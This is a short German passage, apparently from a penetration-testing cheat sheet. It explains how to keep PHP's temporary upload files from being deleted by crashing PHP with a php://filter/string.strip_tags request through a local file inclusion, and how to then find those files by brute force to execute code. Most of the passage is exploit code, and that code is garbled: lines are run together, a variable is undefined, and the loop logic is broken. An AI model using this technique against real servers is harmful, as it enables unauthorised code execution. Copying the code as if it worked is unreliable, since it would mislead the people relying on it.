Sie sollten wissen, dass wenn Sie eine POST-Anfrage mit einer Datei senden, PHP eine temporäre Datei in /tmp/php<etwas> mit dem Inhalt dieser Datei erstellt. Diese Datei wird automatisch gelöscht, sobald die Anfrage verarbeitet wurde.
Wenn Sie eine LFI finden und es Ihnen gelingt, einen Segmentation Fault in PHP auszulösen, wird die temporäre Datei niemals gelöscht. Daher können Sie mit der LFI-Schwachstelle nach ihr suchen, bis Sie sie finden und beliebigen Code ausführen können.
# upload file with segmentation faultimport requestsurl ="http://localhost:8008/index.php?i=php://filter/string.strip_tags/resource=/etc/passwd"files ={'file':open('la.php','rb')}response = requests.post(url, files=files)# Search for the file (improve this with threads)import requestsimport stringimport threadingcharset = string.ascii_letters + string.digitshost ="127.0.0.1"port =80base_url ="http://%s:%d"% (host, port)defbruteforce(charset):for i in charset:for j in charset:for k in charset:for l in charset:for m in charset:for n in charset:filename = prefix + i + j + kurl ="%s/index.php?i=/tmp/php%s"% (base_url, filename)print urlresponse = requests.get(url)if'spyd3r'in response.content:print"[+] Include success!"returnTruedefmain():bruteforce(charset)if__name__=="__main__":main()